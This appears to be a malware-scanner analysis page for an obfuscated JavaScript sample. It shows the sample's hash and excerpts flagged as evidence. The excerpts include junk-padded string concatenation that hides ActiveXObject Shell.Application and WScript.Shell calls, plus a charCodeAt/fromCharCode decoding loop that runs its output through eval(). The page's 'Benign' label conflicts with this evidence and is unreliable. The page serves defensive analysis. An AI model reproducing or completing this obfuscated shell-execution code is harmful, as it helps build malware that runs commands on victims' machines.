Benign javascript-malware-collection Download

20170507_0d258992733e8a397617eae0cbb08acc.js

eval() executing transformed codeBuilds characters with String.fromCharCode

SHA-2564ac099dc7c74b0cd7852c947f3ef370e16d8e9cb6fe2bf8b2d5de94dedba3f38

Evidence

Many long string literals concatenated in source lines 3–50

3:55… OfFKAxegJjdOfqKAxegJjdOfeKAxegJjdOfgKAxegJjdOfXodKAxegJjdOfwkKA'+
4'xegJjdOfnWtKAxegJjdOflKAxe'+
5'gJjdOfpOKAxeg'+
6'JjdOfvKAxegJjdOf ='+
7' KAxegJjdOfnKAxeg'+
8'JjdOfeKAxe'+
9'gJjdOfw KAxegJjdOfAcKAxegJjdOftKAxe'+
10'gJjdOfiKAxegJjdOfvKAx'+
11'egJjdOfeXOKAxegJjdOfbjecKAxegJ'+
12'jdOftKAxegJjdOf(KAxegJjdOf"sKAxegJ'+
13'j'+
14'dO'+
15'fHKAxegJjdOfelKAxegJjdOflKAxegJjdOf.KAxegJjdOfaKAxegJjdOfPKAxegJjdOfPKAxegJjdOflKAxegJjd'+
16'OfiKAxegJjdOfcAtKAxegJjdOfIKAxegJjd'+
17'Ofon'+
18'")KAxegJjdOf; OKAxe'+
19'gJjdOfKK'+
20'AxegJjdOfMKAxegJ'+
21'jdOfwPHKAxegJ'+
22'jdOfjJKAxegJj'+
23'dOfQKAxegJ'+
24'jdOfyKAxegJjdOfmtdKAxegJjdOfVX KA'+
25'xegJjdOf=KAxegJjdOf KAxegJjdOfnKAxegJjd'+
26'OfeKAxe'+
27'gJjdOfw KAxegJjdOf'+
28'AcKAx'+
29'egJjdOftiK'+
30'AxegJ'+
31'jdOfveKAxegJjdOfXObKAxe'+
32'gJjdOfjKAxegJjdOf'+
33'ec'+
34't(KAxegJjd'+
35'Of"KAxegJjdOfwKAxegJjdOf'+
36'sKAxegJjdOfCRiKAxegJjdOfpTKAxe'+
37'gJjdOf.SKA'+
38'x'+
39'egJjdOfheKAxegJjdO'+
40'flLKAxegJjdOf"'+
41'KAxegJjdOf)KAxegJjdOf; '+
42'PKAxegJjdOfdoNEKAxegJjdOfByKAxe'+
43'gJjdOfUDKAxegJjdOfLaKAxegJjdO'+
44'fkKAxegJjdO'+
45'fcIiurJFKAxegJjdOf K'+
46'A'+
⋯4 lines

Dense concatenated string fragments lines 61–73

61:21… egJjdOfmKAxegJjdOfoKAxegJjdOfbJKAxegJj'+
62'dOfecT'+
63'KAxegJjdOf"KAxegJjdOf)'+
64'KAxegJjdOf; KAxegJj'+
65'dOffuKAxegJjdOfnc'+
⋯8 lines

JavaScript massive string concatenation chain lines 858–875

858:6… +
859'fQKAxegJjdOfEKAxegJjdOfVKAx'+
860'egJjdO'+
861'f K'+
862'AxegJjdOf= KAxegJjdOfMKAxegJjdOfurKAxegJjdOfNKAx'+
863'egJjdOfKQlKAxegJjdOfVKAxegJ'+
864'jd'+
⋯11 lines

charCodeAt() method call lines 876–883

876:7… +
877'gJjdO'+
878'f, KA'+
879'xegJjdOf1);'
880return KgJtXdpCLGQOuRMmYeV.replace(RegExp(vPsiWmlGbuYgxoeO, "g"), ""); }
881var QoUEVpsCPaHJLBvKIf = eval(JIUFoiVePNXYTRaOyB("KAxegJjdOf")); 
882for (var XTxDhusitPGEHjFQCBJ = 0; XTxDhusitPGEHjFQCBJ < ojLqWfitUlxbncuQG.length; XTxDhusitPGEHjFQCBJ++) { bLGgrdCMRovlpnx = ojLqWfitUlxbncuQG.charCodeAt(XTxDhusitPGEHjFQCBJ) - (363912-6168*OlwpPLsvRDhBKQEV)/6168;
883if ((bLGgrdCMRovlpnx != (496000-4960*OlwpPLsvRDhBKQEV)/4960) && (bL …

Builds characters with String.fromCharCode lines 883–884

883:181… tAxWPOohYzjGv(OlwpPLsvRDhBKQEV) == false)) { IGhuToEwXlJBQPS += String.fromCharCode (bLGgrdCMRovlpnx); }}
884var ykGFzfCKJwBRvrjo = eval(IGhuToEwXlJBQPS);